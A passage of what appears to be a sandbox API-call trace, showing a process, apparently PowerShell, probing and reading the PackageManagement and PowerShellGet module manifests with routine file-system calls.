Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0113.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef4c) returned 1 [0113.778] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0113.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0113.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x378880 [0113.779] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.779] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.779] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.779] FindClose (in: hFindFile=0x378880 | out: hFindFile=0x378880) returned 1 [0113.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0113.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0113.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572eca0) returned 1 [0113.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572ef64 | out: lpFileInformation=0x572ef64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec9c) returned 1 [0113.785] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.785] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.785] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0113.785] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0113.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ecc4) returned 1 [0113.785] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x21e3b94 | out: lpFileInformation=0x21e3b94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecc0) returned 1 [0113.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0113.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0113.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0113.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0113.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0113.786] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0113.789] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0113.806] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0113.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef4c) returned 1 [0113.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0113.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0113.818] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x378880 [0113.818] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.818] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0113.818] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0113.818] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.818] FindClose (in: hFindFile=0x378880 | out: hFindFile=0x378880) returned 1 [0113.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0113.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0113.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0113.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0113.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0113.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0113.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0113.819] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0113.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0113.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0113.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0113.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0113.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0113.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0113.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0113.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0113.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef4c) returned 1 [0113.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0113.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0113.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x378880 [0113.820] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.820] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.820] FindNextFileW (in: hFindFile=0x378880, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.820] FindClose (in: hFindFile=0x378880 | out: hFindFile=0x378880) returned 1 [0113.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0113.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0113.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572eca0) returned 1 [0113.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572ef64 | out: lpFileInformation=0x572ef64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec9c) returned 1 [0113.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ecc4) returned 1 [0113.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x21ed734 | out: lpFileInformation=0x21ed734*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecc0) returned 1 [0113.824] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.824] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ee2c) returned 1 [0113.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.825] GetFileType (hFile=0x3c8) returned 0x1 [0113.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ee28) returned 1 [0113.825] GetFileType (hFile=0x3c8) returned 0x1 [0113.825] GetACP () returned 0x4e4 [0113.831] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x0 [0113.831] ReadFile (in: hFile=0x3c8, lpBuffer=0x21eea0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x21eea0c*, lpNumberOfBytesRead=0x572ee94*=0x8f9, lpOverlapped=0x0) returned 1 [0113.833] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x8f9 [0113.833] ReadFile (in: hFile=0x3c8, lpBuffer=0x21edea5, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x21edea5*, lpNumberOfBytesRead=0x572ee94*=0x0, lpOverlapped=0x0) returned 1 [0113.834] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ee68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ee68*=0) returned 0x8f9 [0113.834] ReadFile (in: hFile=0x3c8, lpBuffer=0x21eea0c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ee94, lpOverlapped=0x0 | out: lpBuffer=0x21eea0c*, lpNumberOfBytesRead=0x572ee94*=0x0, lpOverlapped=0x0) returned 1 [0113.834] CloseHandle (hObject=0x3c8) returned 1 [0113.934] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0113.934] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0113.934] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0113.934] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0113.934] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0113.934] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0113.934] SetThreadErrorMode (dwNewMode=0x1, 